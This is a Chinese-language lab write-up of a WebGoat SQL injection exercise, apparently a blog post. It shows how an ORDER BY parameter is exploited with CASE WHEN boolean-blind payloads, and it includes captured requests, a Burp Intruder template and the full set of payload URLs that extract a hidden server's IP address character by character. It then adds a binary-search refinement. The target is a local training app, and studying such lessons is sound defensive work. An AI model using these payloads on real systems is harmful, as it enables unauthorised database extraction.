1015.WebGoat SQL注入之 Order by注入解题思路

★ Order by 注入
本文所说的 Order by注入的题目在:Injection Flaws -> SQL injection(mitigation) -> 第8页的题目。网址为:
http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionMitigations.lesson/7web

思路在第7页,即利用case when语法来达到sql注入。
语法:select * from users order by (case when (true) then lastname else firstname end)
须要利用的是when (true)中的真假判断。
注意:case语句结尾要有end。sql

题目要求获取主机名为webgoat-prd的服务器的IP地址,并且题目中提示了Submit 不存在SQL 注入。c#

此题有些相似于SQL 盲注,须要经过when (true)中的真假来判断IP地址的每一位是多少。下面一步步来讲明。浏览器

★ 经过HTTP proxy工具截获http请求
我用的是burpsuite的free版,对于这道题是够用了。服务器

须要在Internet Options中设置代理为 127.0.0.1,端口8090(任意指定,不要与现有其余端口冲突)。mvc

而后在Burpsuite 的Proxy中设置代理,这个网上有一大堆教程能够参考,这里暂不细写。app

抓到的数据包:(按照不一样的列排序)less

按hostname排序:
GET /WebGoat/SqlInjection/servers?column=hostname HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=67B417F49820EFE3D57F2AB351603D85
Connection: close工具

按ip排序
GET /WebGoat/SqlInjection/servers?column=ip HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=67B417F49820EFE3D57F2AB351603D85
Connection: closepost

按mac排序
GET /WebGoat/SqlInjection/servers?column=mac HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=67B417F49820EFE3D57F2AB351603D85
Connection: close

按status排序
GET /WebGoat/SqlInjection/servers?column=status HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=67B417F49820EFE3D57F2AB351603D85
Connection: close
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
咱们天然的联想到 column参数的值就是 order by的参数。

正确的查询语句,能够查询到内容。例如,http://127.0.0.1:8080/WebGoat/SqlInjection/servers?column=ip 的结果为:

[ {
"id" : "2",
"hostname" : "webgoat-tst",
"ip" : "192.168.2.1",
"mac" : "EE:FF:33:44:AB:CD",
"status" : "online",
"description" : "Test server"
}, {
"id" : "3",
"hostname" : "webgoat-acc",
"ip" : "192.168.3.3",
"mac" : "EF:12:FE:34:AA:CC",
"status" : "offline",
"description" : "Acceptance server"
}, {
"id" : "1",
"hostname" : "webgoat-dev",
"ip" : "192.168.4.0",
"mac" : "AA:BB:11:22:CC:DD",
"status" : "online",
"description" : "Development server"
}, {
"id" : "4",
"hostname" : "webgoat-pre-prod",
"ip" : "192.168.6.4",
"mac" : "EF:12:FE:34:AA:CC",
"status" : "offline",
"description" : "Pre-production server"
} ]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
若是不肯定的话,咱们能够传一个任意值试试,例如,使用http://127.0.0.1:8080/WebGoat/SqlInjection/servers?column=test 访问,浏览器返回的结果为:

Whitelabel Error Page
This application has no explicit mapping for /error, so you are seeing this as a fallback.

Tue Sep 18 22:17:08 GMT+08:00 2018
There was an unexpected error (type=Internal Server Error, status=500).
user lacks privilege or object not found: TEST in statement [select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by test]
1
2
3
4
5
6
能够看到,这里的sql语句为: select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by test,咱们传给column的值test最终是order by的参数。
这个sql语句也给出了不少信息(因此此题还算不上SQL盲注),例如列名有 id, hostname, ip, mac, status, description, 表名为servers ,而且查询的是status不为’out of order’ 的信息,这也可让咱们推测到,主机名为webgoat-prd的服务器的status是’out of order’ ,因此正常查询是查询不到主机名为webgoat-prd的服务器的。

★ 关键信息: select * from users order by (case when (true) then lastname else firstname)
这是WebGoat的重要提示,而咱们要利用的偏偏是when的条件when (true/false)。

首先,先把完整的sql语句写出来(根据上面的错误提示):
select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by <注入点>
<注入点>采用case when,因此整个sql语句为:

select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by case when (true/false) then hostname else id end
1
即,若是when中的条件为true,按hostname排序,不然按id排序。
必定要注意:then后面和else后面的列名是合法的,不然sql语句会出错。

因此,结果若是是按hostname排序,就知道when的条件为true,若是是按id排序,那么when的条件为false。这点要记清楚。

★ 构造 when 的条件
直截了当,判断主机名为webgoat-prd的服务器的IP地址的每一位是多少。

获取主机名为webgoat-prd的服务器的IP地址:select ip from servers where hostname='webgoat-prd'

判断第一位是否是1:substring((select ip from servers where hostname='webgoat-prd'),1,1)=1

而后将这个判断放到when的条件中,整个URL为:

127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when (substring((select ip from servers where hostname=‘webgoat-prd’),1,1)=1) then hostname else id end)
在浏览器中打开,能够看到结果是按hostname排序的,说明IP地址的第一位是1.

而后就能够一位一位的去试了。手动去试比较繁琐,能够使用Burpsuite的Intruder来暴力破解。

★ Burpsuite Intruder 暴力破解
Positions配置以下:
第一个payload是IP的下标,从1开始的,必定要注意是从1开始。下标最大是15(4个三位数加上3个点)。
第二个payload是0~9的值,这里没有判断点号,最后只要取按hostname排序的response就知道那些正确的位是多少了。

注意: 须要将空格写成%20,将单引号写成%27,不然Intruder中跑不过。切记切记。
最好将输入写到浏览器中执行,而后去Burpsuite的Proxy中的HTTP history中看看结果。而后将HTTP请求拷贝过来。这样能够减小出错的机会。

GET /WebGoat/SqlInjection/servers?column=(case%20when%20((select%20substring(ip,§1§,1)%20from%20servers%20where%20hostname=%27webgoat-prd%27)=§2§)%20then%20hostname%20else%20id%20end) HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=DC012A04A1BADE2548747AC22CBE18F9
Connection: close

1
2
3
4
5
6
7
8
9
10
在正确的response 的comment列写上说明,好过滤。例如:写上yes,而后选中『Show only commented items』,如图:

 

最终结果以下:

 

能够看到IP地址为 104.130.219.202
Congratulations!

★ SQL语句
when条件为true的全部SQL语句为:(在浏览器中使用,切不可直接拷贝到Burpsuite中)

127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,1,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,2,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,3,1) from servers where hostname='webgoat-prd')=4) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,4,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,5,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,6,1) from servers where hostname='webgoat-prd')=3) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,7,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,8,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,9,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,10,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,11,1) from servers where hostname='webgoat-prd')=9) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,12,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,13,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,14,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,15,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
须要说明的是,(select substring(ip,1,1) from servers where hostname='webgoat-prd')=1 与 substring((select ip from servers where hostname = 'webgoat-prd'), 1,1)=1是等价的。
因此上面的SQL语句采用了2种写法。

即这两种写法都是能够的:(在Chrome浏览器上测试经过)
写法一:127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when (substring((select ip from servers where hostname = ‘webgoat-prd’), 1,1)=1) then hostname else id end)

写法二:127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,1,1) from servers where hostname=‘webgoat-prd’)=1) then hostname else id end)

★ 更进一步
暴力破解使用的HTTP请求太多了,有没有办法在减小HTTP请求的状况下,获得IP地址的每一位?
答案是能够,经过二分搜索的方式能够减小不少无用的HTTP请求。IP地址的每一位取值为0到9. 以IP地址的第一位为例,有效值范围为0到9,第一次能够跟(0+9)/2=4 (取整)比较。
(select substring(ip,1,1) from servers where hostname='webgoat-prd')>4 根据排序的结果,能够知道条件为true仍是false。咱们已经知道了IP地址第一位为1,即便咱们不知道IP地址为1,经过数据是按id排序的,咱们也能够知道sql语句的条件是false。比较结果为false,那么有效值范围缩小为0到4.

再跟(0+4)/2=2比较,(select substring(ip,1,1) from servers where hostname='webgoat-prd')>2,结果为false(由于数据以id排序),有效值范围为0到2。

再跟(0+2)/2=1比较,(select substring(ip,1,1) from servers where hostname='webgoat-prd')>1结果为false,有效值范围为0和1 。

再跟(0+1)/2= 0比较,(select substring(ip,1,1) from servers where hostname='webgoat-prd')>0,结果为true,即以hostname排序了。有效值只剩下1了。因此知道IP地址的第一位是1了。

对于IP地址的第一位,采用4次HTTP请求就获得了,不用比较10次了。
IP地址的其余位,以此类推。

整个过程,能够写成脚本,方便之后复用。

相关文章
相关标签/搜索